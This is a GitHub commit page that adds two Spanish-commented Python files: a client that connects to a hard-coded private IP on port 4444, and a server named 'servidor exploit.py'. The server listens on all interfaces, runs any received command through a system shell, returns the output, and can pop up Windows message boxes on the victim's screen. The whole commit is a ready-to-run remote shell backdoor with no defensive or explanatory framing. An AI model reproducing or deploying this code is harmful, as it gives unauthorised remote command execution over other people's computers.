Skip to content

Commit b25fa5d

Browse files
Add files via upload
1 parent 8bc75b4 commit b25fa5d

2 files changed

Lines changed: 80 additions & 0 deletions

File tree

cliente.py

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
# -*- coding: latin-1 -*-
2+
import socket
3+
import subprocess
4+
import os
5+
6+
def start_client():
7+
host = '192.168.24.153' # Cambia la dirección IP a la del servidor
8+
port = 4444
9+
10+
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
11+
client.connect((host, port))
12+
13+
while True:
14+
command = input(f"Shell remota ({host}:{port})> ")
15+
client.send(command.encode())
16+
17+
if command.lower() == 'exit':
18+
break
19+
20+
response = client.recv(4096).decode()
21+
print(response)
22+
23+
client.close()
24+
25+
if __name__ == "__main__":
26+
start_client()

servidor exploit.py

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
# -*- coding: latin-1 -*-
2+
import socket
3+
import subprocess
4+
import ctypes
5+
6+
def start_server():
7+
host = '0.0.0.0' # Escuchar en todas las interfaces de red
8+
port = 4444
9+
10+
while True:
11+
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
12+
server.bind((host, port))
13+
server.listen(5)
14+
15+
print(f"Servidor a la espera de conexiones en el puerto {port}...")
16+
17+
try:
18+
client_socket, client_address = server.accept()
19+
print(f"Conexión establecida desde {client_address[0]}:{client_address[1]}")
20+
21+
# Iniciar la shell remota
22+
while True:
23+
command = client_socket.recv(1024).decode()
24+
25+
if not command:
26+
break
27+
28+
if command.lower() == 'exit':
29+
client_socket.close()
30+
break
31+
32+
# Verificar si el comando es para mostrar un MessageBox
33+
if command.startswith("msgbox"):
34+
parts = command.split(" ")
35+
if len(parts) >= 4:
36+
title = parts[2]
37+
message = parts[3:]
38+
message = " ".join(message)
39+
ctypes.windll.user32.MessageBoxW(0, message, title, 0)
40+
41+
try:
42+
result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, universal_newlines=True)
43+
except Exception as e:
44+
result = str(e)
45+
46+
client_socket.send(result.encode())
47+
except ConnectionResetError:
48+
# Captura el error de conexión cerrada abruptamente
49+
continue
50+
finally:
51+
server.close()
52+
53+
if __name__ == "__main__":
54+
start_server()

0 commit comments

Comments
 (0)